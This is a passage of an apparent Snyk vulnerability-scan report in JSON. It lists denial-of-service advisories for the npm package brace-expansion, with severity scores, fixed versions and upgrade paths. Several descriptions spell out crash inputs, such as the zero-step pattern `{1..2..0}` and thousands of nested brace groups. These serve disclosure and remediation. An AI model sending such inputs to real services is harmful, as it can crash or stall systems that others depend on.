Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
